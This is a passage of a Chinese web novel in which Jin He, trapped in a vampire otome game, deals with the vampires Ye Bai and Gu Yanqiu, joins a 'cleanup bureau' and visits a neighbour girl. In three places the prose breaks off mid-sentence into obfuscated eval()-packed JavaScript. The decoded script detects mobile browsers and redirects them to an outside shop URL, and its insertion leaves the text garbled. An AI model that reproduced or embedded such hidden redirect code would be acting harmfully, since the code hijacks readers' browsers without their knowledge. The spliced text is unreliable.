金禾退后几步,抬头仰望着那被黑色翅膀包裹的庞然大物。
本着敌不动我不动的想法,她沉默不语地伫立在原地。
黑色翅膀里探出个老人头,老人眼里闪过一丝不耐烦,张开翅膀飞了下来:“你挡路了。”
老人拉开门,一个黑影偷偷摸摸随着他一起飞了进去。
“不好意思。”金禾看着老人进入房间里,她咬咬牙,跟着进去。
房间里又分了好六个小房间,其中五个都挂上有人的标识。
她拉开一扇挂有无人标志的房间门,一个拖鞋迎面而来。
她灵活地避开,一个白花花的身体展现在她面前。
“要进来一起洗吗?”
熟悉的叶白、普通的洗浴间、不普通的身体。
金禾立刻拉上门。她甚至没来得及纠结这人是怎么跑到里面的。
撬好兄弟墙脚,好样的。
难道这就是顾言秋为她选定的“小三”吗?
“吱呀。”
门把手被按下,一个脑袋从中冒了出来。
“女士优先。”叶白身上套了件格子衫,他不紧不慢地走出来。
金禾防备地抱着手臂:“没有女生专用的淋浴间吗?”
叶白讨好地笑,露出两颗尖尖的虎牙:“有的,在走廊最右边。”
直觉告诉金禾有诈,她不动声色往后退。
这时,一直沉寂的其他几扇门里都传出声音。
路人ABCD纷纷加入对叶白的讨伐。
A:“你这个年轻人矜持一点!不要诱骗人类女孩!小姑娘,你不要被他骗了,走廊最右边什么都没有。”
B:“走廊最右边还是有东西的吧,有饮料机呢,小姑娘说不定渴了,正要喝水。”
C:“这个叶白就是个混不吝,一天到晚骗女人钱,不干正经事。”
D:“他骗人钱就算了,还不让摸。”
A:“说得好像你被他骗过一样”
D:“你怎么知道我被他骗过。”
……
众人你一言我一语,把叶白推入“骗钱”、“卖艺不卖身”的标签中。
叶白睨了眼金禾,装作坦然的模样,双手插兜。
金禾不想卷入他们的纷争,她只想洗澡:“所以哪里可以洗澡。”
“你们这些老家伙就是羡慕我身强体壮,得不到葡萄说葡萄酸。”叶白抬起下巴,冷哼一声。
B:“呵!你个小屁孩来劲了是吧!我承认你身强体壮,腿长屁股翘!”
A:“你毛张齐没有,叫叫叫。”
D:“还我钱!”
“没完没了了是吧?”叶白恼羞成怒,气急败坏地对着墙壁砸了一拳。
墙面瞬间凹了下去,粉尘簌簌掉下。
一拳下去,就像是往众人的怒火中添柴火,大家的声讨更激烈了。
金禾捂着嘴巴打了声哈欠,她走进了叶白让出来的房间,把门锁上,隔绝了外界的声音。
吵吧吵吧,最好打起来。
她环视四周,这似乎就是一个普通的淋浴间,只不过这个淋浴间有一台服装售卖机。
显示屏上排列着售卖的衣物,金禾划拉了半天,眼见着页面到了底端,她还是没找到合适尺码的衣服。
什么垃圾售卖机……
金禾吐出口气,最后只能选了跟叶白一样的格子衫。
她猜测可能是吸血鬼的体积都比较大,所以这些衣服尺码都很大。
门外的争吵声不断,叶白还在舌战群儒,他始终处在上风,可见口才不错。
“几千年的老光棍来嫉妒我这个小年轻,你们连毛都没被开发,还来笑话我。”
“这不是骗,你情我愿的事,怎么能叫骗呢?”
……
金禾特地将水关小,竖着耳朵听他们吵架,听得津津有味。
可渐渐外面吵架的内容变了,几人扯着扯着扯到叶白的终身大事上。
A:“你是不是看上人家姑娘了,你那点姿色行不行啊?现在能有几个人能记住你的脸。”
B:“你也不能这么说,那个小顾的好几个人类未婚妻都是被这个他勾搭走的。”
C:“咋勾搭的?”
D:“他之前老有魅力了,现在不知道为什么,都没什么存在感。”
叶白想起自己现在变成存在感极低的隐形人就来气,他打开终端,对着路人B噼里啪啦打了一大串字。
[叶白]:你要夸我啊,挖掘我的优点,这么还要我下场控评?
[B]:你恶名昭彰,都没人替你说话,不能怪我。
金禾已经穿好衣服,她拉开门,正好看见叶白蹲在地上打字的画面。
叶白听见身后的动静,如同惊弓之鸟,猛地跳起来。
金禾也被他这一举动吓出了双下巴。
他也意识到自己反应有点大,讪讪一笑:“姐姐,我去洗了。”
叶白按下门把手,门纹丝不动,他渐渐收敛嘴上的笑。
淋浴间里有专门负责清理的打扫机器人,现在门口的电子屏幕上正滚动着“打扫时间还剩9分钟”四字。
叶白真的是吸血鬼吗?怎么反应这么迟钝。
她提醒道:“现在是打扫时间。”
“对哦对哦,谢谢姐姐提醒。”
谁是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890038|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你姐姐,我明明很年轻好不好。
金禾已经没有多余的力气去回答叶白。
被热水浇灌后,她脑子昏沉沉的,只想好好休息一番。
墙上挂着一个蝙蝠形状的时钟,指针转到了12点,脑中的声音准时响起。
【亲爱的维修人员,为了维修任务的顺利进行,维修总部将对您的系统进行升级,这周结束后,升级结束,系统能替你操控的替身角色增加。】
没有系统的日子还要维持一周,疯了吧!
金禾扣着指甲缝,等着脑子里的东西继续说下去。
【从现在开始,你的每日维修任务将与恋爱脑拯救行动结合,改为答题。】
【请从下列四个选项里找出正确答案,哪个人对男主角才是真爱__?】
【提示:以下选项中的配角都是潜在恋爱脑,你都可以尝试拯救。】
A.顾言秋的女性搭档
B.唐懿的女邻居
C.南浔的女助理
D.江子墨的鬼妹妹
【答题正确,能量翻倍,不完成任务,你将被抹杀。】
抹杀,又是抹杀。
攻略组绝对不会随随便便抹杀底下的员工,难道维修组的规则不一样吗?
那个鬼妹妹又是什么鬼?
金禾不想和神秘力量对抗,她觉得自己很有可能会栽在这个乙游里。
她悔得肠子都青了,自己到底为什么要来维修组?
都是领导的大饼害的!
她全然忘记了自己刚得知自己能进入这个游戏的兴奋。
“鬼妹妹是什么东西?”
无人回应她的问题,她只能自己独自消化情绪。
既来之则安之,金禾低着头,一言不发地看着脚尖。
时针还在滴滴答答转着,良久,叶白也从房间里走了出来。
他嗅着金禾身上的气味,闻道了一丝疲惫和烦躁的气息。
“姐姐?”
除了鼻子,叶白的耳朵眼睛都不好使,再加上他很容易引起别人的警觉,通常比较困难的任务组织都用不上他。
他还有一个异能他从未跟人提过,那就是他能通过味道判断一个人的情绪。
金禾撑起沉重的眼皮,懵懵地应了声:“嗯?”
“你要不要去我房间睡觉呀?”叶白关怀备至地扶住金禾的肩膀,“我带你去我房间……”
此话一出,周围人瞬间不淡定了。
A:“小姑娘,你不要被这家伙骗了!”
C:“诶诶,黑灯瞎火,你带人家姑娘去哪里呢!”
一群老不死的东西,怎么还不死。
叶白恨不得自己的烦躁能化成龙卷风,把这些老家伙全部吹到马桶里,然后再给他们冲下去。
“可以。”
金禾只想休息,不想管叶白心里在想什么。
叶白推着金禾到了门外,关上门前,他不忘转头,对着那么探出头的老家伙挑衅一笑。
月光透过走廊尽头的窗子洒下,幽暗的走廊里只剩下他们二人的脚步声。
看不见的角落似有什么东西在呓语,金禾加快步子,却被身后的叶白一把扯住。
“姐姐,你走过头了。”叶白掏出一张卡,对着门上的识别区域轻轻一刷。
“咔哒。”
门开了。
金禾先一步迈进房间,这间房就是一间普普通通的VIP病房。
原来叶白的房间就是个病房啊。
她没说话,摸索到床后直接钻到窝里。
“帮我开个空调,谢谢。”
叶白控制终端,打开空调,低声道:“姐姐,你要怎么谢我?”
说实话,他没什么经验,从前不用到这一步就会有人愿意给他钱。
他通常都是先骗人自己没饭吃,然后假装像是八百年没吃东西一样,之后以各种理由骗到钱后再逃走。
他没进行到这一步过,更具体一点说,他没和异性单独处在这么私密的环境过。
他虽然实战经验不丰富,但对于理论却了解得透彻。
医院正对着的高楼,高楼上霓虹灯闪烁。
金禾身子似乎已经跟床粘在了一起,动弹不得,只得把头往被子里又埋了埋,
叶白张了张嘴,把到嘴边的话咽下,他拉上窗帘,给顾言秋的终端发去信息。
[叶白]:你的未婚妻在我房间里。
他在原地站了良久,黑夜里,金禾身上的味道似乎变得更为浓郁。
即便被沐浴露的气味覆盖,她身上残留的顾言秋的气息还是那么浓烈。
一道均匀的呼吸声在落针可闻的房间响起,轻缓绵长,浅而匀。
叶白对着熟睡中的金禾拍了一张照片,并将照片发给了顾言秋。
[叶白]:她已经爱上我了,你给我点钱,才方便我后续行动。
对方正在输入中……
屏幕上频频弹出这句话,叶白看着那省略号都看出残影了,对方还是没发来一句话。
*
天边泛起肚鱼白,晨光微明就跑进屋内。
叶白睁眼到天亮,他坐在沙发上,闭眼小憩。
终端震动,一条消息弹出。
[顾言秋]:拍得很好。
叶白握紧双拳,弹起身。
[叶白]:不是,你有病吧?我和你未婚妻,孤男寡女共处一室,一晚上!我都做到这个份上了,你不给点钱说不过去吧。
[顾言秋]:哦。
根据以往被骗的经验,事成之前,顾言秋是不会给这个家伙一分钱的。
叶白气得直跳脚,顾言秋这次选金禾当未婚妻肯定是有原因的,他把目光放到沉睡的金禾身上。
他临时在浏览器上搜索“怎么让人负责”。
最高赞的评论是这样的:脱光衣服躺在他身边,等他起床后叫他负责。
叶白觉得有道理,连发帖人是男是女都不看了,就往金禾被窝里钻。
14. 负责
此时此刻,金禾还被困在梦魇里。
六面镜子包裹着她,每面镜子里都有一个男人吵着让她负责,一双双手冲出镜面,拉扯她、抚摸她,恨不得把她分成六份。
镜子承载不住他们的爱意,碎了,她也醒了。
梦里的一切真实可怖,弄得金禾一身冷汗,她按着心脏,翻了个身。
一个冷冰冰的大砖块硌在身后。
金禾对于刚才的梦还心有余悸,一波未平一波又起,她滚下床,一个跪倒在地。
膝盖瞬间像是被无数细细密密的针扎进,她倒吸一口冷气,扶着床边,低头看着地板。
缓了好一会,她才抬起脑袋。
罪魁祸首和她面面相觑,罪魁祸首掀开半边被子,罪魁祸首谄媚一笑。
“你醒了,我们昨晚……”
这是在勾引我还是在碰瓷我?
金禾脸上完全没出现叶白期待的娇羞,她的面色一会晴转多云,一会又多云转晴。
她的眼睛顺着人鱼线一路向下,接着朝着马甲线逆行而上。
好一个犹抱琵琶半遮面,半遮半掩的。
没劲!
金禾几乎可以断定,这是碰瓷。
“昨晚怎么了?”金禾撑着床站起来,揉了揉膝盖。
“你真的什么都不记得了吗?”叶白伤心欲绝地拿被子把自己包住,只露出一双湿漉漉的眼睛,未干的泪痕还挂在眼尾,瞧着好不可怜。
金禾感觉这个桥段似曾相识,可里面扮演在床上的角色似乎不是男生吧?
“我不记得了……”
她就算喝酒了也干不出来这么荒唐的事情,何况是她还没喝呢!
“我不管!你看了就要对我负责!”叶白滚到金禾身边,一把拉住她的衣角。
你好歹把我衣服脱了好不好?
你只脱了自己衣服,叫我负责,脑残。
金禾来这游戏后就没过过一天顺利日子。
她使尽全力去掰扯叶白的手指:“我干什么我要对你负责!”
“你真的不记得了吗?”叶白像是难以启齿般偏过头,“你睡觉的时候亲了我一口。”
这是人话吗?如果亲一口就要负责的话,金禾的系统空间早就塞满人了。
金禾无力地垂下手,搓了搓眼睛,然后捏了捏手臂上的软肉。
疼……好吧,看来她没有在做梦。
“证据。”她摁住叶白手腕,费了九牛二虎之力才扒开这个狗皮膏药。
叶白趴在枕头上,闷闷不乐的声音隔着枕头传来:“你不想负责吗?”
禁止傻子自娱自乐!
金禾到时看明白了,叶白这是给她安了个始乱终弃的渣女身份,而他自己这是可怜无助的被害者。
这叶白张口闭口就是骗啊,拿不出证据她才不认。
她提高音量道:“对啊,我不想负责,谁叫你跑到我床上的。”
“可这是我床,你先睡我床的……”叶白忽地起身,被子顺着他肩膀滑落,春光乍现。
“啪。”
门被人撞开,昨夜的壮汉拿着资料夹和笔,面无表情地看着两人。
“你是顾言秋未婚妻。”
金禾淡定地应了声:“嗯。”
即便被人看见这幅景象,她也完全不慌张。
清者自清!
“来签字。”壮汉晃了晃资料夹上夹着的文件。
“他没事吧?”金禾跟着壮汉离开房间,临走前不忘拉上门,并留下一个国际友好手势。
“没事,很好。”
她签完字后,被壮汉引到了前台缴费。
白天的医院和夜晚的大相径庭,走廊上被人群一分为二,一边密密麻麻地挤满了人,他们穿着各色的衣服,在不同门诊室排队,另一边则空空如也,唯有一个护士坐在前台。
金禾看着他们排队进入门诊室,门诊室不知里头藏着什么才能装下那么多人,门内的世界就像个无底洞,外头的人只进不出,里头的人不见踪迹。
金禾掏出终端,按照护士给的码缴了费,看着对方递来的比她胳膊还长的账单,她迟钝地接过。
她从上往下扫视着账单的具体项目费用。
护理费、手术费、床位费……大大小小的项目加在一起一张A4纸都装不下。
她翻到了第二面,上头写着伙食费,账单上罗列出具体的食物名称。
浓缩果汁、葡萄、苹果、香蕉……
顾言秋不是中弹了吗?还能吃这些吗?
或许是吸血鬼的构造不一样。
金禾在心里替顾言秋找理由,但她实在劝说不了自己。
吸血鬼的自愈能力很强,昨夜顾言秋既然没事,今天应该能活蹦乱跳站在自己面前才对。
金禾不想管顾言秋是瘸还是不行了,只要活着就请自己交钱!
在顾言秋这里,花钱买不来服务,花钱买不来攻略值。
总而言之,这钱花得不值。
随便给男人花钱会倒霉,她坚信着这点,于是她把账单推了回去。
“我没钱。”
视野里,对面的病房门被推开,穿着病号服的顾言秋走出来。
医院的地面贴着白色瓷砖,一抹阳光打在上面,折射到他瓷白的脸上。
金禾垂下眼帘,趁着护士抬手的间隙又把账单拉回来,捏在手心:“但是我会努力凑钱的,能不能宽限几天。”
“我来吧,你去我的病房休息一下吧,你在外面等了我一晚上肯定很累。”
顾言秋抬手把手轻轻放在金禾头上,从发根摸到了发尾,试图抹去她身上叶白的味道。
冰凉的手指不经意碰到金禾的脖颈,她缩了缩脖子,往旁边跨了一步。
顾言秋的手停顿在半空,金禾握住他的手,拉到身前,关切道:“你的手好冰,是人不舒服吗?”
金禾的真正想说的话其实是,你的手好冰,摸得人很难受。
不过她做任务的时候总是习惯性委婉地表达某些诉求,她不抗拒顾言秋的触碰,所以并没将话说那么直接。
如果她抗拒,她将会在任务的尾声为自己做一道红烧蝙蝠手。
“没有不舒服,你去我房间休息一下吧。”
金禾看着顾言秋和壮汉在空中相交的视线,点点头,识趣地走进了顾言秋的病房。
顾言秋叩击桌面,直到望着那道倩影消失在眼前,他才收回视线:“她太淡定了。”
护士拿起账单,撕碎,碎屑飘到垃圾桶里:“有什么奇怪的,她父亲抓了那么多吸血鬼,她说不定已经见识到不少这些东西了。”
“她对你魅力免疫不就是最好的说明吗,你车上的影像分析出来了,她也对叶白的异能免疫。”壮汉从抽屉里拿出一个U盘,“这个你回去再看看。”
“你看里面内容了吗?”
壮汉懵了半晌:“没,咋啦,很重要?需要人工审核?”
“不重要。”顾言秋语气顿了顿,把U盘塞到了口袋里,“系统备份记得删除。”
护士沉默片刻道:“叶白哪里……”
空气静默了一瞬,顾言秋:“最近的任务细节别跟他说。”
*
金禾坐在柔软的床上,直愣愣盯着面前的美女看。
眼前的人如同一朵洁白的牡丹花,她生得极清丽,眉目间带着几分温柔,举手投足尽显优雅从容。
她头顶大大写着一个只有金禾才能看见的“A”。
“我叫容槿。”容槿侧身从包里拿出一本厚重的书和一个文件,放到金禾身旁,“我诚心代表清理局邀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890039|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
请你加入我们。”
“我是金禾。”金禾先翻开书。
书的中间被挖掉了一块,一个崭新的终端刚刚好卡在洞里。
她合上书,拿起合同,看了几眼:“这个好像和顾言秋给我的不太一样。”
“他应该没考虑到你的身份,所以我为你重新定制了一份计划。”容槿扬起嘴角,坐到金禾边上,“终端里有一些关于我们清理局的介绍,你看完后再考虑签不签。”
“那我先看一下……”
金禾拿出那个崭新的终端,戴在自己另一只空空的手上。
终端没设密码,一划就开。
一个圈圈在屏幕中央打转,不一会儿,一个app页面弹了出来。
一行行文字映在金禾的眼里。
【清理局是什么?】
清理局是一家统筹处理特殊事务的专门机构,其职责范畴涵盖吸血鬼相关事宜和需要专业力量介入的人类领域特殊事件。
当各类政府组织或常规职能部门遭遇超出其能力范围的复杂事项时,清理局将依据相关规程,派遣专业人员介入处置,确保事件得到妥善解决。
机构内部设有多个专业部门,各部门管辖领域明确、权责清晰。
想要了解更多详情请点_这里_。
金禾毫不犹豫按下加粗的“这里”二字。
【抱歉,你没有权限查询!】
当着容槿的面,金禾不好翻白眼,她的手指默默往上划。
屏幕向下滚动,新的问题和答案出现,
【新人的常见疑问】
【你还不是新人所以无权查看】
逗我玩呢?
金禾关闭终端,静静盯着容槿,不发一语。
“你可以先签个实习期合同,再考虑要不要加入我们。”容槿淡定自若地从包里掏出另一份合同。
金禾看了不下三遍合同,发现没什么问题后,她直接签了。
她心里其实已经打定要签的主意了,只不过她想小心谨慎一些,所以一拖再拖。
可这个清理局也太不靠谱了吧,它好像那种注册资本没几万、员工没肌肉、公司相册里面都是员工自己掏钱买的下午茶的三无公司。
金禾咬咬牙,签下了合同。
等自己成为清理局的一员之后,她就能和顾言秋成为同事,到时候抢在顾言秋前头救下那些女孩,她的魅力值肯定能节节往上涨。
容槿漾开嘴角,笑如同春风般拂过面颊,她举起手,轻轻握住金禾的指尖:“你被划分到了第二小组,这个不归我负责,到时候会有老师带你的,你的老师晚点会联系你的,没有问题的话我就先走了。”
“姐姐,我们加个联系方式吧!”
“好。”
两人很顺利地加上了好友。
“我还有事,先走了。”
金禾挥了挥手。“拜拜。”
“再见。”
容槿拉开门,对着等在门口的顾言秋点点头,头也不回地走了。
顾言秋跨入病房里,他摩挲着口袋里的U盘,走到金禾边上。
看见病人回来,金禾起身让出了床位,在一旁的沙发上落座。
她拿起了一边的矿泉水,拧开后抿了口:“你们吸血鬼,你会吃人吗?”
“我不吃人。”顾言秋坐在金禾先前坐的位置,底下传来独属于人的温度,他蹙了下眉头,慢慢挪动,换了位子。
那你昨天还喝我那么多血!
金禾鄙视这个敢做不敢认的男人。
“那你昨天……”
优秀的未婚妻就是要指出不对劲的地方。
她把手搭在膝盖上,捏着裤子的布料。
U盘在顾言秋手心打转,他眼底划过一丝愧疚,他打断了金禾:“我会负责的。”
15. 揣摩
负责?负什么责任?
金禾只是利用顾言秋的愧疚想讨要一点东西,她不想要别人对她负责啊!
“我不用……”
金禾嘴一瓢,把心里的想法说了出来,她的话就跟顾言秋口袋里露出一半的银行卡一样,卡在半路,不上不下。
早说你的负责指的是给钱啊!
金禾快速眨了下眼睛;“你担心,我自己可以消化的!”
她发射的信号被顾言秋阻隔在外,顾言秋捏着卡的手一顿:“有什么事情你都可以跟我说。”
你到底给不给我?
金禾的手蠢蠢欲动,随时准备接过卡。
“这张卡上的钱你随便花,我已经把卡上的权限给你开了,你可以直接绑定这张银行卡。”
“好的,我会把钱花在给你布置家具上面的!”金禾说得情真意切,连她自己都要相信了。
多么善良的未婚妻啊,还想着为自己的未婚夫购买家具。
家具里包含化妆桌,化妆桌里需要化妆品,化妆品外需要化妆包,没有的化妆包需要放到柜子,柜子需要衣架,衣架需要衣服……
顾言秋躺到床上:“你一整晚待在这边很累吧,先回去休息一下。”
“我不累,你真的不需要我了吗?”
“我需要你……但我舍不得你太辛苦,你先回家吧。”
“好的。”金禾一步三回头,拖着脚走到门口,“注意好好休息哦!”
“砰!”
门被关上,不知是不是顾言秋的错觉,刚刚金禾似乎对于可以离开这个房间感到开心。
他低下下巴,摇了摇头,把这个想法剔出脑海。
昨夜嘴里的甘甜又涌上心头,或许是因为当时濒临死亡,所以他才会对那个味道念念不忘。
又或许是太久没尝过人类的血液,他才会在那时失控地嘬了一口又一口。
他咽了口唾沫,把被子盖过头顶,闭上眼。
沉睡并不能让他停止想象,梦里那个走掉的人又跑回来病房。
……
天空的太阳被云吃掉了,铅灰色的云沉甸甸地往下掉。
金禾跟着前面给她带路的壮汉下楼。
她望着即将要落下雨点的云,又看了看身后离自己越来越远的医院:“这里是清理局的总部吗?”
“当然不是,这只是其中一个部门而已,你不是正式工,我不能说太多,不懂的问问你老师。”
壮汉给她送到医院门口后直接离开了,金禾咽下了想要说出的“再见”,点开了和唐懿的聊天框。
「金禾」:有活,干不干?轻轻松松就能拿钱。
「唐懿」:我不干危害社会的事情。
「金禾」:我有个朋友想去体验一下穷人的生活,他能不能去你家待几天?
金禾目标明确,她就是奔着唐懿女邻居去的,如果唐懿不同意,她只能“私闯民宅”了。
「唐懿」:500一天,水电费另算,弄坏家具也要赔钱。
「金禾」:可,今天你跟着王叔吧,保护王叔,我不用你管。
「唐懿」:地址在这里,钥匙在鞋架最后一层的黑色鞋子里。
这唐懿心是真大,不怕自己把他家掀了吗,就这么把钥匙给自己了。
金禾给他转去了三天的费用,又用打车软件叫了辆车。
忽然,几滴冰凉的雨落在脸上,她擦了把脸,退到屋檐下。
雨幕里,她叫的出租车慢慢靠近,车停下,司机按下喇叭催促她,她冒着雨钻到车里。
“塔塔。”
雨刮器在面前跳着舞,跳着跳着,她跳下了车。
金禾按照导航冲进小巷,七拐八拐到了一栋墙体斑驳的老房子。
这里的房子挤在一起,相亲相爱,每栋房子窗子上都挂着衣物,层层叠叠的衣物亲在一起,金禾甚至都淋不到雨了。
这个点大家都在讨生活,她路上没见到人,她凭着唐懿发来的手绘地图找到他家。
狭窄的过道里一堆易燃物品,纸箱、垃圾袋、小孩的玩具……
金禾爬到顶楼,眼前两户的门前空空如也,一户门前还贴着春联。
“602。”
她举起终端,对了便门牌号,确认无误后,她拉开鞋柜门,蹲下身,拎起最底下的鞋子。
“叮。”
一把银色的钥匙掉在地上,金禾捡起钥匙,打开门。
唐懿家里收拾得很干净,一厅一厨一室一卫,家里几乎基本上没有什么多余的东西。
这套“麻雀”不仅小,五脏也不全。
客厅也不算是客厅,更像是一间开放式的卧室,放着一张小床和桌子。
窗外的雨淅淅沥沥,头顶的风扇“呼呼”地转着,油漆剥落的门被人敲响。
甜甜的声音穿过门:“唐哥哥。”
好甜的声音,我也想被人叫姐姐。
金禾习惯性地想去看猫眼,结果发现这门根本没安猫眼。
她拉开一条门缝,一张精致小巧的脸出现在面前,来人约莫十五岁,头上顶着个字母“B”。
这就是唐懿的女邻居?好可爱,好像小兔子。
“对不起,打扰了!”受惊的小兔转身就想跑,但被眼疾手快的金禾抢先一步拉住。
金禾注意到眼前女孩和衣服湿答答的,她放轻声音:“怎么了吗?”
“我家水管坏了……我、我、我等会叫师傅帮我修,对不起,打扰了。”
“我帮你修,等师傅来家里都发大水了!”金禾不等女孩拒绝,直接闯入她家里。
金禾检查了一番,发现只是家里水阀松了,她拧紧水阀后,找来两个拖把,和女孩一起拖地。
“你叫什么呀?”瞧着这么可爱的人,金禾忍不住去捏她的脸。
“我叫陈可儿,姐姐,我来吧,你快去换衣服,你身上都湿了。”可儿强硬地按住拖把。
金禾沉默半晌,委屈嘟哝道:“我没衣服换。”
“唐哥哥不给你买衣服吗?”陈可儿震惊地张大嘴巴,呆愣了好一会儿。
金禾的脚尖在原地打磨,她沉默片刻道:“对啊……他没给我买过……”
自己可没有骗人哦,唐懿确实没给她买过衣服。
金禾身上的衣服还是在医院买的那套,在她身上长了一大截,像是小孩偷穿大人衣服。
在陈可儿眼里,那就是唐懿不给金禾买衣服,只让金禾穿他衣服。
“姐姐,你先穿我的。”陈可儿心里倏然蹿起一股心疼,她飞速跑回房间拿出一套衣服,“这些都是干净的,新买的。”
“谢谢你,你真好……”金禾眼眶湿润,她哽咽道,“你不要怪他,他实在是没钱了。”
陈可儿对唐懿的好感消磨得差不多了,她眼底的坚定慢慢浮现,她深吸了一口气:“姐姐,你要不然……分手吧。”
“分开吗?可是他拿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895222|192209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了我很多钱诶。”
“他还拿你的钱!”可儿惊呼一声。
“对啊。”金禾微微睁大眼睛,语气天真,看上去真有那么几分不谙世事的感觉。
在取得陈可儿的同情后,金禾厚着脸皮在她家洗了澡,又蹭了顿饭。
香喷喷的面条被端上桌,热气滚滚,肉末沾着红油,堆在青菜叶上。
“咻咻咻。”
金禾夹着面条,滋溜滋溜地吸进嘴巴里,满足地咀嚼着,脑袋一点一点的。
大口吃饭什么的,最幸福了。
陈可儿迟迟没有动筷,她拿着筷子,拎起一根面条,慢慢嚼着。
金禾的碗已经见底了,她碗里的面吸水膨胀,看上去比先前还多。
她又起身给金禾煎了个荷包蛋。
直到盘子放在金禾面前,金禾才意识到这是给自己的。
蛋黄圆圆的,像太阳,上面几滴酱油均匀分布,点缀在蛋白上。
“宝宝,你自己吃吧。”金禾受宠若惊,她在这边蹭水蹭电,还蹭了一顿饭,已经很不好意思了。
陈可儿直接把蛋夹到了金禾碗里:“姐姐,唐懿平时不给你吃东西吗?”
“我一般都是自给自足。”
陈可儿皱着眉头,心疼地瞄了眼金禾,一副欲言又止的模样,最终她什么都没和金禾说,只是在金禾临走时给她塞了几个鸡蛋。
“我明天买菜的时候买点吃的给你。”
“不用不用。”金禾连连摆手。
陈可儿轻轻点头,目送着金禾回到唐懿家里,也不知道有没有听进去金禾的话。
*
雨滴砸在地上,水花四溅。
一只脚踩在水坑里,在楼梯上留下脚印。
脚的主人在自家门前顿住,水滴顺着衣摆落在地上。
“唐懿。”陈可儿抱着作业本,站在家门口。
她在家门口蹲了几小时,终于蹲到唐懿了。
“有题目不会吗?”唐懿全程蹲着找钥匙,他蹙了下眉,原本躺在鞋子里的钥匙不翼而飞。
陈可儿声音颤抖:“你有钱吗?”
“你要多少?”唐懿把口袋里的终端拿出来。
“你为什么不给你的女朋友买衣服!你知道你衣服有多不合身吗!你最好把你骗来的钱还给她!如果你欺负她,我会报警的。”陈可儿气得脸红脖子粗,叽里呱啦一顿输出,“嘭”的一声把门关上了。
唐懿缓缓眨了下眼睛,叩了叩自己家的门,心里没有意外,没有莫名其妙,只有对门后的人一定是金禾的笃定。
这些房子年份已久,又破又旧,隔音自然也不好。
门外的对话一字不漏地钻到金禾耳朵里,终端屏幕里的文字还在滚动,她起身给唐懿开了门。
两人隔着一堵无形的空气墙,面面相觑。
“你收钱了。”
金禾的潜台词是:你不允许反悔哦。
唐懿抬起头,环视家里一圈,随后简单“嗯”了声。
他没问什么,脑子只剩下王叔跟他说的一句话:你要学会揣摩小姐的意思,她话背后的意思很关键。
“你换个床单吧。”
唐懿听懂了,应了声:“好。”
这是要在他房间睡的意思。
“你去洗澡。”
金禾盯着地上的水渍,抿了抿嘴。
唐懿面无表情地思考。
这是要和他睡的意思。
16. 带教老师
乌云滚滚,细雨绵绵。
金禾看着停在原地的唐懿,再次催促道:“快洗澡。”
“五百一晚是不是有点少。”
这人咋狮子大开口呢?金禾现在是钱多,但她不是冤大头。
她只花她愿意花的钱。
她抬头看着有些发霉的天花板,又按了按只哇乱叫的铁床,觉得连皱眉头都费自己力气。
“很多了好不好,都高于市场价了。”
这么破的房子,一晚上八十金禾都嫌弃贵。
唐懿压低声音:“我觉得不止这个价。”
这是要加工资?
金禾感觉自己给的也不少啊!
怎么突然要加钱,这才“入职”几天啊,就要加工资。
一个好老板需要学会迂回,要学会肯定下属,要学会画大饼!
金禾没有直接拒绝唐懿,而是:“你起码要干满一个月再提这个吧。”
两人都没有理解对方的意思,都认为对方不可理喻。
唐懿再次确认:“每天吗?”
“周末不是有给你放假吗?”
“你受得了吗?”
“我为什么受不了。”金禾觉得跟唐懿说话好累。
“行。”唐懿转身进了浴室。
这人是不是脑子有什么问题?
金禾感觉这两天碰到的人都不太正常,自己到底什么时候才能回到一个正常的世界。
好吧,正常的世界根本不存在于世间。
她一屁股坐在客厅的床上,打算明天去陈可儿面前秀一波魅力。
另一幅身体暂时反正也控制不了,选择题的四个选项里,“B”肯定是错误的,剩下三选一,自己还有三分之一的存活率呢!
错就错了,反正抹杀不疼,眼睛一闭,也没感觉。
陈可儿年纪小,心智还不成熟,对于唐懿都不算是爱意,顶多算是好感或是崇拜。
经历下午一遭,她心里说不定只剩下邻里之情了。
“等我另一幅身体从昏迷醒来之后,我能控制那个身体吗?”金禾向脑袋里的机械系统提出疑问,“我的魅力值增加你会播报吗?”
【可以,但是要等你的系统升级结束,会的,播报你的魅力值是我的职责。】
那这样她要怎么见到南浔的女助理?
金禾知晓这个机器系统不会给她任何帮助,只能自食其力了。
浴室里的水声徘徊在耳边,和清理局分配终端的振动声掺杂在一起。
金禾着手研究自己的新终端,里面只有一个app,那就是清理局官方研发的软件,里面共有四大模块,分别是论坛、个人信息、聊天消息和任务。
由于金禾权限不够,她只能点开聊天消息和个人信息,其他她都看不了,她的个人信息上面只有自己所在的学校和年龄。
聊天消息上有着许多红点,红点上的数字还在不断增大。
